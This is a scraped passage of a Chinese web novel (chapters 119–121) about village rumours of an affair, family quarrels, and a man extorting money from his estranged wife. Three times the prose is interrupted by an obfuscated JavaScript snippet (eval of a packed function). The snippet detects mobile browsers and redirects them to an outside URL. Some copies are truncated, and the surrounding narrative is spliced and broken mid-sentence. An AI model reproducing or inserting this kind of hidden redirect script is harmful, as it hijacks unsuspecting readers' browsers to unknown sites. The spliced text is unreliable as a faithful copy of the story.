李万原见李大虎如此生气,心里暗自好笑,但表面上还是装作很惊讶的样子,追问道:“照你这么说,你打赢了?” 李大虎一脸不屑地说道:“赢他简直就是易如反掌,对付他还不是轻轻松松的,赢他都让人觉得有点儿不光彩!” 一旁的李万原随声附和道:“可不是嘛,这事儿确实有点不太光彩啊……” 李大虎一听这话,顿时火冒三丈,瞪大了眼睛吼道:“老子怎么就不光彩了?你给我说清楚!” 李万原见状,赶忙陪着笑脸解释道:“大虎哥,您别生气,我不是那个意思。我是说您这事儿啊,确实已经传得沸沸扬扬的了……” 李大虎闻言,心中越发疑惑,追问道:“不就是打了个架嘛,有啥好大惊小怪的!还需要传的沸沸扬扬的?” 李万原犹豫了一下,小心翼翼地问道:“大虎哥,那您倒是跟兄弟我讲讲,您是咋勾搭上那王家寡妇的呀?” 李大虎一听,脸色瞬间变得有些尴尬,他结结巴巴地说道:“什么?你说啥?我……我跟那寡妇可没啥关系啊!” 李万原见状,心中暗笑,嘴上却连忙说道:“大虎哥,您别误会,我可没别的意思。我就是好奇,您这么厉害,到底是用了什么招数把那寡妇给拿下的呢?” 李大虎的脸涨得通红,他有些恼羞成怒地说道:“你这都是从哪儿听来的胡言乱语?我跟那寡妇根本就没啥关系!哪里来的这些胡言乱语。” 李万原一脸戏谑地看着李大虎,阴阳怪气地说道:“你就别在这儿装蒜了!你以为你不承认就没事了?大家可都心知肚明呢!那王家寡妇大半夜的能跑到咱们村里来找你,没鬼才怪呢!?” 李大虎闻言,顿时急了,他瞪大眼睛,反驳道:“你别血口喷人啊!那王家寡妇根本不是来找我的,她是来找我家豆宝的……” 李万原嘴角一扬,露出一丝不怀好意的笑,“哦?找你家豆宝?你可别说你家豆宝喜欢人家闺女,那王家寡妇找你就是聊闺女的事情?你还真把大家都当成傻子了啊!不过听说,你家豆宝昨晚上也跟别人争风吃醋打架了啊?” 李大虎气得满脸通红,他指着李万原的鼻子,怒斥道:“你别胡说八道!我家豆宝还是个孩子呢,你别往他身上泼脏水!” 李万原却不以为然,继续调侃道:“哟呵,你还挺护犊子啊!不过大家可都不这么想哦,村里可都说是你家豆宝跟那寡妇的闺女好上了,你呢,又跟那寡妇好上了,昨晚上,是不是你俩在外头那啥的时候,被王家沟的人发现了……” “你给我闭嘴!”李大虎怒不可遏,他扬起手,作势要打李万原,“你再胡言乱语,信不信我抽你!” 李万原见状,赶忙往后退了几步,嘴里还嘟囔着:“哎呀,别生气嘛,我也是听村里人都这么讲的,又不是我瞎编的。那王寡妇我虽然只是远远地看过一眼,但那小腰,那胸脯……啧啧啧,真是让人看了就让人想摸一把啊……所以说,还是你有福气啊,能跟这样的女人好上……” 听着李万原的这副说辞,李大虎恍然大悟,原来村里是这样传的……! 既然大家都如此看待这件事情,那自己又何必费力去解释呢?于是,他索性也不再解释,随他们说去吧,反正自己又没损失什么…… 李大虎感叹道:“哎呀,那女人确实是人间尤物啊,该大的地方大,该小的地方小!只可惜,她不是我媳妇儿……” 李万原闻言,立刻来了精神,追问道:“还装呢,你就跟兄弟我说个实话嘛,那王家寡妇昨晚上是不是就是来找你的?” 李大虎见状,心知李万原对这件事情十分好奇,便干脆顺着他的话头往下说:“那你说呢?大半夜的,她不来找我,还能来我家干什么?” 李万原听后,脸上露出一丝坏笑,调侃道:“大虎哥,你可真厉害啊!说不定啥时候你就把那王寡妇娶进门,变成我嫂子了呢?” 李大虎一脸得意地说道:“别乱说,我才不会娶她呢!我要是娶了她,那她的闺女不就成了我的闺女了嘛!而且现在她那个闺女对我家豆宝喜欢得紧呢,说不定哪天他俩就成了,到时候我们成为一家人不就顺理成章了嘛!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295439|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李万原听后,不禁赞叹道:“高啊……” 李大虎继续说道:“这就叫肥水不流外人田啊……我可不像你,老婆和闺女都跑去给别人赚钱了!” 李万原一听,顿时有些恼怒,质问道:“你这话啥意思?” 李大虎见状,露出一副惊讶的表情,说道:“你不知道?你连这都不知道?” 李万原一脸茫然地回答道:“我真不知道啊,谁知道她们死哪儿去了,突然就失踪了……” 李大虎看着李万原,无奈地摇了摇头,说道:“看你现在的媳妇儿也大着肚子,原本我是不想告诉你的,可看你这副啥都不知道的样子,我还是告诉你吧!不过你知道了以后,可别后悔啊!” 李万原连忙拦住李大虎,急切地说道:“不行,你得告诉我,你都知道些什么!” 李大虎环顾四周,然后压低声音对李万原说:“告诉你也无妨,前几天我去县城的时候,无意间瞥见了冬雪和她娘。你猜怎么着?她们居然在那个赵家戏班子里!而且,你那媳妇儿看起来还挺有钱的呢,我看到她买了一大堆菜,那数量可真是不少啊,足够咱们家吃上好几天啦!我还特意跟卖菜的大娘打听了一下,你媳妇儿她每天都买那么多呢,你说那得多有钱,才天天的出门买那么老些菜!” 李大虎一边说着,一边留意着李万原的反应。只见李万原的脸色微微一变,似乎有些惊讶,又好像有些尴尬。 李大虎见状,连忙笑着说道:“嘿嘿,我就是随便说说,你别往心里去哈。那啥,我还有事,就先走一步啦!”说完,李大虎便哼着小曲儿,慢悠悠地离开了。 李万原站在原地,眉头紧紧地皱了起来。他心里暗自思忖着:虽然自己已经另娶他人,但冬雪毕竟是自己的亲生骨肉啊。如果冬雪和她娘真的过上了好日子,那自己怎么也得去讨要一些钱财回来吧?毕竟,她何芊菊是偷偷自己跑的,养了冬雪这么多年,也不能白白便宜了别人啊!不过得瞒着春风偷偷的去…… 与此同时,在王家村,刘爱花突然被一阵急促的敲门声吵醒。刘爱花极不情愿地从床上爬起来,嘴里嘟囔着:“谁啊?这么早来敲门,真是的!”她一边抱怨着,一边慢吞吞地走到门口,打开了门。 村里几个不嫌事儿大的女人,像一群叽叽喳喳的麻雀一样,围聚在刘爱花家门口,七嘴八舌地议论着。 “诶,你听说没有啊,你家那个兄弟才走了一个月,你家那个弟妹,可真是不得了啊!”其中一个女人神秘兮兮地说道。 刘爱花心里一紧,赶忙问道:“你们都听说啥了?” “昨晚上,李家沟那边可是好多人都看见了呢,今天早上这事儿都传遍了……”另一个女人迫不及待地接过话头。 “就是啊,昨晚下那么大的雨,那个**居然还出门会男人!”又有一个女人插嘴道。 “还不止一个呢,是俩……”另一个女人补充道。 “对,而且那两个男人后面还打起来了……” 刘爱花的脸色变得越来越难看,她难以置信地问道:“打起来了?” “可不是嘛,李家沟那边好几户人家可都看见了,说是那**在那边偷人被另外个野汉子发现了……所以这冒着大雨就在那里打起来了……”最后一个女人绘声绘色地描述着,仿佛她当时就在现场一般。 刘爱花听着外面传来的这些话,如遭雷击般愣在原地,脑海中不断回响着那些话。难道昨晚并不是玉露不见了,而是他们两个故意约好了出去鬼混?怪不得昨晚他们的衣服都换了…… 刘爱花越想越气,脸色也因为气恼而变得十分难看。几个妇人看到她的脸色,有些心虚地说道:“那个……我们也是听说的,你要是不爱听,我们就不讲了啊,这就走,快走……”说完,她们便匆匆忙忙地离开了。 第119章 无稽之谈 刘爱花见状,心中的怒火更甚,她“砰”的一声关上了门,然后径直走向房间。一进房间,她便看到王永航正坐在床边,不知道在想些什么。刘爱花怒不可遏,伸手便在王永航的身上胡乱打了起来。 王永航被这突如其来的一顿暴打打得有些发蒙,等他回过神来,顿时怒从心头起,一巴掌狠狠地扇在了刘爱花的脸上,骂道:“你疯了吧你!” 这一巴掌打得刘爱花一个踉跄,她一屁股跌坐在地上,顿时觉得脸上火辣辣的疼。她捂着脸,眼泪像决堤的洪水一般喷涌而出,哭诉着:“王永航,你这个负心汉,你们骗我,你们不得好死……” 正在这时,王国柱听到声音,急匆匆地跑了过来,一进门就看到刘爱花坐在地上哭泣,而王永航则站在一旁,一脸怒容。 王国柱连忙上前扶起刘爱花,关切地问道:“娘,这一大早的,你又在闹什么啊?” 刘爱花一脸狐疑地盯着王永航,追问道:“国柱,你给我说实话,昨晚你爹他是不是跟你小婶在一起?你是不是被他们故意支走了?” 王永航被刘爱花这突如其来的质问搞得有些不知所措,他连忙质问道:“刘爱花,你这是在胡言乱语些什么啊!” 刘爱花根本不听王永航的解释,她越想越气,一骨碌从地上爬起来,指着门外,大声嚷道:“你起来,你出去听听,听听外面的人都在说些什么!这日子我实在是没法过下去了,我要回娘家去!你要是不把事情给我说清楚,我是绝对不会回来的!” 说完,刘爱花气鼓鼓地转身就走,留下王永航和他爹面面相觑,完全摸不着头脑,不知道到底发生了什么事情。 王国柱见状,赶紧追上去拉住刘爱花,焦急地说:“娘,你先别冲动啊!你真的是误会我爹了,我爹他绝对不是你想象中的那种人啊!” 刘爱花停下脚步,怒视着王国柱,没好气地说:“你还帮着你爹说话?外面都已经传得沸沸扬扬了,我都亲耳听到了,你们还打算瞒着我什么呢?” 王国柱满脸狐疑,眉头紧蹙,仿佛对外面的传言一无所知,他疑惑地开口问道:“外面,都传了些什么啊……” 然而,当他看到刘爱花泪流满面、泣不成声的模样时,心中不禁一紧。他连忙走上前去,轻声安慰道:“娘,您也先别生气,我这就出去问清楚!” 王国柱急匆匆地走出家门,来到村口。他四处听着,想要弄清楚到底是怎么回事。 不一会儿,他就听到了各种各样的说法。有的人说秋容昨夜下雨还出去私会男人,有的人说玉露昨晚也在外面私会男人,而且母女两个还都被另外的奸夫捉到了,有两个男人在李家沟打得不可开交,还有两个男人在那桃树林子边上打得不可开交……果然是龙生龙,风生风,老鼠的孩子会打洞……她们描绘的有声有色,还捂着嘴笑…… 王国柱越听越觉得离谱,这些传言简直就是无稽之谈!他气得满脸通红,心中的怒火不断升腾:“你们才是老鼠,一群偷偷摸摸在背后说人坏话的老鼠!” 一群女人正叽叽喳喳地聚在一起,突然间,她们看到了一脸怒气的王国柱。这些女人顿时有些惊慌失措,其中一个女人赶紧说道:“对不住啊,国柱,我们也是听说的,我们不说了……不说了……”话音未落,其他几个女人也都纷纷附和着,然后像受惊的鸟儿一样四散开来。 王国柱看着这些女人远去的背影,心中的怒气并没有消减多少。他深深地叹了口气,转身朝着家的方向走去。 回到家后,王国柱一屁股坐在椅子上,心情依然沉重。这时,他的母亲刘爱花走了过来,委屈地说道:“国柱,你是不是也听到她们说的了?” 王国柱抬起头,看着母亲,无奈地说道:“娘,外面那些话,肯定是李家沟的人胡说的!” 刘爱花皱起眉头,有些不满地说:“别人怎么就胡说了?传的有鼻子有眼的……” 正在这时,王国柱的父亲王永航也走了进来,听到了他们的对话,便插嘴问道:“国柱,外面到底都说什么了!” 王国柱叹了一口气,把事情的经过一五一十地告诉了父母。他说:“昨晚上我跟我爹都是出去找玉露妹子的,他们只知道有人打架,连是谁他们都不知道,就连我都被传成了是玉露妹子在外头的男人,说我是在和别人争风吃醋才……娘,你就说,这传言,他能可信吗?更何况我爹在李家沟也被那李家人给打了,他们就更加恶意揣测了!” 刘爱花满脸狐疑地看着王国柱,似乎对他说的话半信半疑。她皱起眉头,急切地问道:“儿子,你说的都是真的吗?怎么会连你都被她们这样说了呢?” 王国柱沉重地点了点头,他的脸上透露出一丝无奈和担忧。他叹了口气,缓缓说道:“我跟爹倒是没什么大不了的,我们都是男人,脸皮厚些也无所谓。可是婶子和玉露妹子就不一样了,她们毕竟是女人家,这要是传出去,名声都被毁了,不知道出门要被多少人指指点点呢!” 刘爱花的脸色变得愈发难看,她显然没有预料到事情会如此严重。她喃喃自语道:“还不是怪那个小丫头片子,要不是去找她,怎么可能会有这些事情!” 王永航深深地叹了一口气,仿佛心中的郁闷和无奈都随着这口气一同释放了出来。他的声音有些低沉,带着一丝责备的意味说道:“事情都已经发生了,你现在再去埋怨这些,又能有什么用呢!” 他的目光落在刘爱花的身上,眼神中透露出一种对现实的无奈和无力感。似乎在他看来,无论怎样抱怨和指责,都无法改变已经发生的事实。 刘爱花一脸的愤恨,她瞪着王永航说道:“她们活该,要是昨晚上不要作闹这一出,不也就没这些事情了!” 王永航看着刘爱花,心中有些无奈,他叹了口气说道:“你怎么这点同情心都没有!好歹我们都是一家人,你怎么就这么看不惯弟妹她们呢!” 刘爱花冷哼一声,反驳道:“哼,别以为我不知道当年你们兄弟俩做的事情!我就是不喜欢她,怎么了?” 王永航的脸色一下子变得很难看,他张了张嘴,却不知道该如何回应刘爱花的话。 这时,王国柱好奇地看着父母,问道:“爹,娘,你们在说什么啊?什么当年?什么事情啊?” 王永航连忙摆了摆手,说道:“没什么事情,别听你娘胡说!” 王国柱一脸无奈地看着母亲刘爱花,心中充满了不解和不满,他提高了声音说道:“娘,别人信口胡言乱语也就算了,您怎么能跟着他们一起瞎起哄呢?” 刘爱花显得有些委屈,她嘟囔着嘴反驳道:“我心里也不好受啊!你听听外面那些人说的话,我能不生气吗?” 王永航见状,无奈地叹了口气,他叫上王国柱,一起走出家门,想去看看外面到底发生了什么事情。 两人出门后,脚步不由自主地朝着弟弟的房屋走去。还没到地方,就听到一阵窃窃私语声传来。走近一看,只见有几个人正围在一起,嘀嘀咕咕地不知道在说些什么。 尤其引人注目的是弟弟家隔壁的**广家媳妇儿,她正掐着腰站在门口,嘴里骂骂咧咧的,显然是在指桑骂槐。不仅如此,她还对着自己的男人**广大声嚷嚷,警告他以后不准再看秋容一眼。 **广就是那个身材高大的男人,由于两家住得近,他确实有过几次偷偷看秋容洗澡的行为。不过,每次都被他媳妇儿发现,然后被狠狠地教训了一顿。所以,他媳妇儿对秋容简直是恨之入骨,一见到秋容就像见到了仇人一样。 这不,**广的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而,令人意想不到的是,**广的胖媳妇儿突然站出来说道:“怎么,你们都不敢说,难道以为我也不敢说吗?那女人昨晚半夜出去私会男人的事情,大家可都是听说了的……” **广见状,连忙伸手去拽他媳妇儿,示意她不要再继续说下去。可是他媳妇儿却一把甩开他的手,毫不示弱地说道:“你别碰我!我就是要说,这个女人她就不应该再待在我们王家村!” 听到这话,王国柱顿时火冒三丈,他怒不可遏地吼道:“你们瞎咧咧什么呢?我婶子到底做了什么,就让你们这样信口胡诌,往她身上泼脏水?” 面对王国柱的质问,人群中有人回应道:“我说国柱啊,你别不相信啊,这事儿在李家沟那边早就传遍啦!” 这时,王永航也站出来说道:“文广媳妇儿,你说我弟妹半夜出去私会男人,那你是亲眼看见了吗?” **广的胖媳妇儿被王永航这么一问,突然有些语塞,她犹豫了一下,然后才吞吞吐吐地回答道:“那……那我没有……” 王永航满脸怒容地看着对方,大声说道:“俗话说眼见为实,没有亲眼见到的事情,你怎么能如此不负责任地在这里信口胡诌呢?” 对方却毫不示弱,反驳道:“我可没有胡说,李家沟发生的事情可是有很多人都亲眼目睹的……” **广见情况不妙,赶紧出来打圆场:“永航大哥,您别生气,她就是个妇道人家,没什么见识,不过是听别人说了些闲话,就跟着一起瞎嚷嚷,您千万别往心里去啊!” 然而,王永航并没有被**广的话所打动,他依然不依不饶地说道:“我要是当真了呢?今天你们要是不给我说清楚,我就在这儿不走了!” 第120章 谣传 门外传来的一阵阵嘈杂的喧闹声,惊动了秋容,秋容听到声音后,急忙打开门,一脸疑惑地问道:“大哥,国柱,还有各位乡亲们,这到底是怎么回事啊?怎么大家都跑到我们家门口来了?” 王永航一脸严肃地对秋容说道:“弟妹,你还是先进去吧,外面的事情就交给我们来处理就好!” 秋容一脸茫然,她完全不知道发生了什么事情,但看到王永航如此坚决的态度,觉得应该是发生了什么。 她刚想要问些什么,国柱也走了过来,他轻声对秋容说道:“婶子,咱们进屋去吧,外面风大,别着凉了。” 秋容有些疑惑地看了看国柱,点了点头,还是跟着他走进了屋子。 待秋容进了屋,国柱又迅速地把门关上,仿佛是不想让秋容和玉露听到外面那些乱七八糟的传闻。 而此时,站在门外的**广看到王永航的模样,心中不禁有些惧怕。他犹豫了一下,然后小心翼翼地对王永航说道:“永航大哥,要不您到我屋里坐会儿吧?兄弟我最近得了点儿不错的茶叶,想请您进屋喝个茶。” **广的媳妇儿在一旁听到这话,忍不住插嘴道:“咱家哪儿来什么好茶叶啊……” 王永航一脸严肃地对**广说道:“文广啊,你也别这么见外,我也不过就是想问问你家媳妇儿,那些她没有亲眼见过的事情,为什么要去谣传呢?如果今天是我们对外说你媳妇儿在外面有了别人,你们会怎么想呢?” **广闻言,脸色有些难看,他的媳妇儿听到此言,也急忙反驳道:“哪个人吃饱了撑的会来造我的谣啊?” 然而,就在这时,让人意想不到的事情发生了,刘爱花竟然也走了过来。 她一脸怒容地对**广的媳妇儿说道:“没人造你的谣?那你为什么要造谣中伤我儿子,还连着我们一家人都被你们造谣!” **广的媳妇儿显然没有料到刘爱花会突然冒出来这么一句,她有些吃惊地看着刘爱花,连忙解释道:“我说嫂子,您是不是听岔了啊?我可从来没有说过国柱的坏话啊!” 王永航见状,转头看向刘爱花,疑惑地皱起眉头:“你怎么过来了?刚才不是还吵着闹着要回娘家吗?” 刘爱花闻言,鼻子里冷哼一声,没好气儿地回答道:“我怎么就不能过来了?我儿子被人泼了一身的脏水,被人传了那么难听的谣言,我这个当妈的难道还不能来过问一下吗?” **广在一旁听的一脸茫然,他挠了挠头,说道:“嫂子,您这话可真让兄弟我有些听不明白啊!” 刘爱花见状,更加生气了,她提高了嗓门儿,说道:“好啊,你们还跟我装傻是吧?那我就给你讲个明白!刚才是不是你们这些人在到处闲聊,说我弟媳妇儿在外面跟人鬼混?是不是还说我们家玉露也在外面勾三搭四……” 刘爱花的话还没说完,一旁的文广媳妇儿突然插嘴道:“那还用得着我们说嘛,这事儿现在可是传得沸沸扬扬的,谁不知道啊!”她的脸上露出一副不屑的神情,似乎对刘爱花的质问毫不在意。 让人意想不到的是,刘爱花竟然像一只凶猛的母老虎一样,突然伸出手紧紧地抓住了对方的头发,嘴里还不停地叫嚷着:“你给我听清楚了!昨天不过就是因为下雨了,玉露在外面没有带雨伞。我们一家人都担心她会被淋湿,所以特意让国柱去给她送把雨伞。谁知道,就在这个时候,那个李家的小子不知从哪里冒了出来,死皮赖脸地纠缠着玉露不放。国柱看到这一幕,自然不能坐视不管,于是就狠狠教训了一顿那小子……可谁能想到,到了你们这些人的嘴里,居然把我家的国柱说成了那种腌杂货色……” 面对刘爱花的质问,**广显得有些手足无措,他连忙陪着笑脸说道:“嫂子,您别生气啊!都是我们的错,都怪我们不该跟着别人一起胡乱传言的……” 然而,文广媳妇儿却在一旁插嘴道:“嫂子,您先把手松开吧!我可没有说过你们家国柱的任何坏话哦……我只不过是说了秋容而已啊!而且,您之前不是也说过不喜欢她的嘛,怎么今天却这么护着她呢……” 刘爱花怒不可遏地吼道:“你也不打听打听清楚,就敢在村里胡言乱语,今天我非要扇你几个嘴巴子!”话音未落,她便如疾风骤雨般地扬起手,“啪啪”两声脆响,狠狠地扇在了文广媳妇儿的脸上。 文广媳妇儿被这突如其来的两巴掌打得有些发懵,捂着脸,脸上露出了难以置信和委屈的神情,嘴里还不停地嘀咕着:“那他们都说了,又不是我一个人说的,你凭什么打我?” 刘爱花见状,更加气愤,她瞪大眼睛,指着文广媳妇儿的鼻子骂道:“别人我刚可都问过了,她们可都说是你说的!” 文广媳妇儿的眼泪在眼眶里打转,她呜咽着说:“我可真是冤枉啊,我也是听别人说的啊……” 刘爱花根本不相信她的话,步步紧逼地追问:“那你说,是谁说出来的?我这就去找她!” 文广媳妇儿被逼得无路可退,她支支吾吾地说:“我……说的人太多了,我也记不清楚是哪个人先说的了……” **广满脸歉意地说道:“永航大哥,大嫂,这事儿确实是我们的不是,我们真的知道错了,以后绝对不会再乱传这些话了!” 王永航看着**广,脸色稍微缓和了一些,说道:“希望你们真的能说到做到,大家都是邻里邻居的,抬头不见低头见,我也不想把事情闹得太难看。” 然而,一旁的刘爱花却突然冷哼一声,满脸不屑地啐了一口,骂道:“我呸,真是丑人多作怪!自己长得那副丑样子,一张长驴脸,又肥的像猪,自己心里难道就没点数吗?还在背后造谣别人,也不出去听听外面的人都怎么说她的!人在做,天在看,总有一天会遭报应的!” 这一番话如同一把利剑,直直地刺进了文广媳妇儿的心里。她哪里受得了这样的辱骂,顿时觉得无地自容,捂着脸转身就跑回家去,一路上泪水像决堤的洪水一般不停地流着。 王永航见状,心中不禁有些无奈,他看着刘爱花,劝说道:“好了,你又何必非要说出那些难听的话去刺激她呢?大家都是一个村子的,何必搞得这么难堪呢?” 然而,刘爱花却对王永航的劝说不以为然,她瞪大眼睛,理直气壮地反驳道:“她活该,自作自受,怎么?难道就只能让她到处乱说八道,我连回她一句都不行吗?我可咽不下这口气!” 正当两人争论不休的时候,秋容突然打开了门,她站在门口,脸上露出一丝尴尬和无奈。她看着王永航和刘爱花,轻声说道:“谢谢大哥大嫂了,你们刚才在外面的话,我都已经听到了……” 刘爱花见状,连忙解释道:“我可不是为你说话啊!我是为了我的男人和儿子!以后看好你闺女儿,别再捅出这样的篓子来!” 秋容心里明白,嫂子向来都是那种刀子嘴豆腐心的人,虽然她说话有时候不太好听,但其实内心还是很善良的。 她深吸一口气,缓缓说道:“嫂子,我知道你也是为了我们好,我也会好好教育玉露的,以后不会再给你们添麻烦了。” 秋容嘴角微扬,露出一抹淡淡的笑容,轻声说道:“今天还是要谢谢嫂子了,若不是嫂子帮忙,恐怕我们母女二人连门都不敢踏出一步呢……”她的声音中带着一丝感激,但同时也透露出些许无奈。 刘爱花闻言,脸上露出一丝得意之色,嘴角轻撇,说道:“你知道就好,我们家可不想整天听这些乱七八糟的闲言碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就在这时,一个熟悉的身影从赵家班里走了出来。李万原定睛一看,竟然真是何芊菊!只见她手提菜篮,正准备出门去买菜。赵家班上上下下足有二十来个人,每天的蔬菜都需要采购不少,所以买菜的任务可不轻。有时候是冬雪陪着她上街采购,有时候则是五子和六子陪着她一起去。而且,值得一提的是,五子和六子现在都已经认了何芊菊做干娘了! 今天的情况确实有些特别,因为城东的万老板要过六十大寿,这可是件大事!戏班里的大部分人都早早地赶去万老板家里搭台子祝寿去了。 戏班里留守下来的,其中一个就是六子,他是班主特意留下来的,具体原因大家都不太清楚。除了六子,还有冬雪和其他几个年纪较小的师弟师妹们。 冬雪本来计划着和娘一起去上街买菜,这样既能帮娘分担一些家务,又能顺便逛逛集市,看看有没有什么新鲜玩意儿。可当她把这个想法告诉娘时,娘却拒绝了她。 何芊菊温柔地对冬雪说:“菜场离这儿不远,我自己去就行了,你和六子就留在戏班里吧。班主不在,你们得帮忙照看一下。而且,我很快就能回来的!” 何芊菊刚刚踏出戏班的大门,还没走几步,突然感觉有个什么东西从背后迅速地套在了她的头上,然后她整个人就像被一股强大的力量拖拽着一样,不由自主地被拖进了旁边的一条小巷子里。 何芊菊的心跳瞬间加速,脑海里闪过无数个念头,她心想:“这是怎么回事?难道是遇到了劫道的?”她的内心充满了恐惧和不安,完全不知道接下来会发生什么。 “不知道是哪位好汉,你要钱的话我可以给你,只求你不要伤害我……”何芊菊战战兢兢地说道,声音中透露出明显的颤抖。 第121章 集市 李万原听到何芊菊的话,嘴角微微上扬,露出一丝得意的笑容。他看了看四周,确定巷子里没有其他人后,这才松开了手。 何芊菊的头套被揭开,她定睛一看,眼前站着的竟然是李万原!她的脸色瞬间变得惨白,心中暗自叫苦:“怎么会是他?我怎么这么倒霉,又被他给找到这里了!” 李万原一脸惊讶地说道:“哎哟,真的是你啊!我刚开始听到这个消息的时候,还真是不太敢相信呢!没想到你居然真的会在这里,而且还挑了这么个好地方啊!你看看,这才多久没见啊,你可是长丰满了不少呢……” 何芊菊回应道:“班主是个好人,她不仅收留了我们,还愿意教冬雪学戏呢……” 然而,李万原却突然打断了她的话,脸色变得有些难看:“学什么?学戏?你竟然让我的女儿去学戏?你知不知道学戏的都是些什么人?那可是下三等人啊!你怎么能让我的女儿走上这条路呢……” 何芊菊听了他的话,心中有些不悦,但还是强忍着说道:“我求你不要在这里胡闹,我才不管什么人呢!只要我的女儿能够开心快乐地长大,这对我来说就已经足够了!” 李万原怒目圆睁,指着何芊菊的鼻子骂道:“你这个不知羞耻的女人,带着我的闺女跟别人私奔!还敢说老子胡闹?不过老子今天心情好,可以放过你们两个,但你必须得赔偿我!” 何芊菊一脸委屈地反驳道:“我没钱!” 李万原冷笑一声,嘲讽道:“没钱?那你还出门买菜呢!我可听说你每天都买不少的菜呢!” 何芊菊急忙解释道:“那都是班主给的买菜钱,我不过就是个做饭的,哪有什么钱啊!” 李万原根本不相信她的话,继续咄咄逼人地说:“你说你是做饭的就是做饭的了?说不定你是勾搭上了那里头哪个唱戏的,我就说嘛,突然母女两个说失踪就失踪了,原来是早就在外头有了姘头了!说,那个死丫头是不是也是别人的种?” 何芊菊气得浑身发抖,她瞪大了眼睛,难以置信地看着李万原,声音带着哭腔说道:“你怎么能这样污蔑我……” 李万原一脸凶相地对着何芊菊吼道:“你要是不想我在这里闹得你颜面尽失,就乖乖地把钱给我!” 何芊菊被他吓得脸色苍白,哆哆嗦嗦地问道:“你……你要多少?” 李万原嘴角泛起一丝狡黠的笑容,阴阳怪气地说:“那得看你有多少啊!” 何芊菊无奈地从口袋里掏出所有的钞票,递给李万原,哭丧着脸说:“就这些了,我真的只有这么多……” 李万原接过钱,粗略地数了一下,脸上露出不满的神色,恶狠狠地说:“你是真没有啊,还是把钱藏在别的地方了?”说着,他便开始对何芊菊动手动脚,上下其手地搜她的身。 何芊菊惊恐地叫起来,拼命挣扎着:“我真的没有了!你别这样……” 李万原见她确实没有更多的钱,心中暗喜,虽然这些钱不算太多,但也算有些收获。他收起钱,露出一副得意洋洋的样子,威胁道:“这次算你识相!不过,过几天我还会来这里,你最好老老实实地把剩下的钱给我,否则,我绝对不会放过你们!” 说完,李万原大摇大摆地转身离去,留下何芊菊一个人在原地,满脸惊恐和无助。 李万原前脚刚离开,何芊菊就像失去了全身的力气一般,双腿发软,“扑通”一声坐在了地上。 她的脸色苍白如纸,额头上冒出了一层细密的汗珠,嘴唇也在微微颤抖着。过了好一会儿,她才稍稍缓过神来,深吸一口气,强撑着身体,摇摇晃晃地站了起来。 何芊菊颓废地往家走去,终于,她走到了家门口,冬雪远远地就看见了她,急忙迎了上来。 “娘,你回来了?”冬雪关切地问道,“诶,今天买的菜呢?” 何芊菊的喉咙干涩得厉害,她艰难地开口说道:“娘没事,就是……买菜的钱不小心被我弄丢了……” 冬雪一听,顿时瞪大了眼睛,有些埋怨地说道:“娘,你也太不小心了吧……” 一旁的六子也凑过来,担忧地说:“干娘的钱不会是被歹人偷了去吧!下次还是让我陪着你出去吧!” 然而,何芊菊却像是没有听到他们的话一样,只是呆呆地站在原地,眼神空洞,仿佛失去了灵魂一般。她的脑海中不断地回想着刚才发生的事情,李万原的那些话像重锤一样敲打着她的心房。 六子和冬雪一脸狐疑地望着何芊菊,只见她像丢了魂儿似的,目光呆滞,仿佛整个世界都与她无关。 六子忍不住开口问道:“这是发生了什么事情了?怎么干娘回来就魂不守舍的!”他的声音中透露出一丝担忧。 冬雪也附和道:“是啊,娘,你是不是有什么事情瞒着我们呀?”她的目光紧紧地盯着何芊菊,似乎想要透过她的眼睛看到她内心的真实想法。 何芊菊被两人的问话惊醒,回过神来,连忙摆手说道:“没……没有,哪有儿的事!”然而,她的话语却显得有些结巴,让人不禁对她的回答产生怀疑。 冬雪见状,更加确信何芊菊有事情瞒着他们,于是追问道:“娘都结巴了,还说没有呢,到底是有什么事情怕我们知道!”她的语气有些急切,希望能从何芊菊口中得到一个真实的答案。 面对冬雪的质问,何芊菊有些慌乱,她低下头,不敢与冬雪对视,嘴里嘟囔着:“我再出去买些菜回来……” 冬雪立刻说道:“我也要去!”她迫切的想和何芊菊一起出去看看到底是发生了什么事情才让娘会突然失态。 六子也紧接着说:“这次我也去!”他觉得三个人一起出去更加安心一些。 李万原这边,从何芊菊手中接过钱后,便兴高采烈地前往集市。他心里盘算着要给怀孕了的春风买些好肉好菜,让她好好补补身子。 集市上人头攒动,喧闹异常。李万原在人群中穿梭,挑选着新鲜的食材。不一会儿,他就购置了各种美味的食物。 正当他心满意足地准备离开时,突然间,他的目光被一个熟悉的身影吸引住了。定睛一看,竟然是何芊菊!不仅如此,她身旁还跟着冬雪和一个陌生的男孩子。 冬雪的目光恰好与李万原交汇,她像是触电一般,下意识地往人群后面躲藏。 一旁的六子见状,关切地问道:“雪儿,你怎么了?” 冬雪的脸色有些苍白,她压低声音说道:“我知道我娘刚才怎么了。” 六子一脸疑惑,追问道:“你说什么?” 冬雪咬了咬嘴唇,终于鼓起勇气说道:“我看到我爹了,一定是他刚才把我娘手里的钱给拿走了!” 六子听后,不禁瞪大了眼睛,难以置信地说道:“天底下竟还有这种不要脸的男人……” 